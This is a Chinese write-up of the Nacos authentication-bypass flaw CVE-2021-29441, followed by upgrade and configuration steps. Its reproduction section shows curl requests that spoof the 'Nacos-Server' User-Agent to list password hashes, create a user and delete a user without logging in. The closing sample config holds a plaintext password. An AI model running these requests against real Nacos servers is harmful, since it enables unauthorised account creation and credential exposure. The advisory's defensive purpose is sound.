NACOS漏洞问题及修复(CVE-2021-29441)
1、漏洞详情:
未授权访问漏洞,是在攻击者没有获取到登录权限或未授权的情况下,或者不需要输入密码,即可通过直接输入网站控制台主页面地址,或者不允许查看的链接便可进行访问,同时进行操作该系统
影响范围为1.4.1版本之前的nacos
2、漏洞复现:
访问用户列表界面
[root@localhost ~]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}[root@localhost ~]#
添加新用户
[root@localhost conf]# curl -XPOST '<http://127.0.0.1:8848/nacos/v1/auth/users?username=czdx&password=2022SecCZ_czdx@2022>' -H 'User-Agent: Nacos-Server'
{"code":200,"message":"create user ok!","data":null}
#再次查看 czdx用户已经被添加
[root@localhost conf]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'
{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"czdx","password":"$2a$10$xSWgJpl/TSvr0JnEE5KshePTU0ITB3sTlw8q.b8qzCSBuRBy7Iyn."},{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
删除用户
[root@localhost conf]# curl -XDELETE <http://127.0.0.1:8848/nacos/v1/auth/users> -d "username=qwe&newPassword=2022SecCZ_czdx@2022"
{"code":200,"message":"delete user ok!","data":null}
3、解决方法:
升级nacos
下载1.4.1以上版本或者直接使用最新版本
安装nacos
在新的nacos文件中,在conf目录下,找到数据库升级脚本1.4.0-ipv6_support-update.sql,在nacos配置库中执行该脚本(3.0系统中数据库名应该是jdlh-config)
修改conf目录下的application.properties文件,把原有nacos的数据源迁移到新的nacos配置中
注意以下新增配置:
修改nacos.core.auth.enabled配置为 true
修改nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value值为自定义值
测试效果
修改完配置后重启nacos,测试效果
[root@localhost conf]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'
{"timestamp":"2022-05-19T14:08:40.106+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}[root@localhost conf]#
4、修改项目配置
把项目中各个工程的bootstrap.yml中cloud.nacos层级下添加username和password
# Tomcat
server:
port: 8077
# Spring
spring:
application:
# 应用名称
name: simple-test
profiles:
# 环境配置
active: dev
cloud:
nacos:
username: nacos
password: Simple@2022!
discovery:
# 服务注册地址
server-addr: 172.18.16.59:8848
namespace: b56778f3-2e9f-4645-91c9-2808ffbf6dd9
config:
# 配置中心地址
server-addr: 172.18.16.59:8848
# 配置文件格式
file-extension: yml
# 共享配置
shared-dataids: application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension}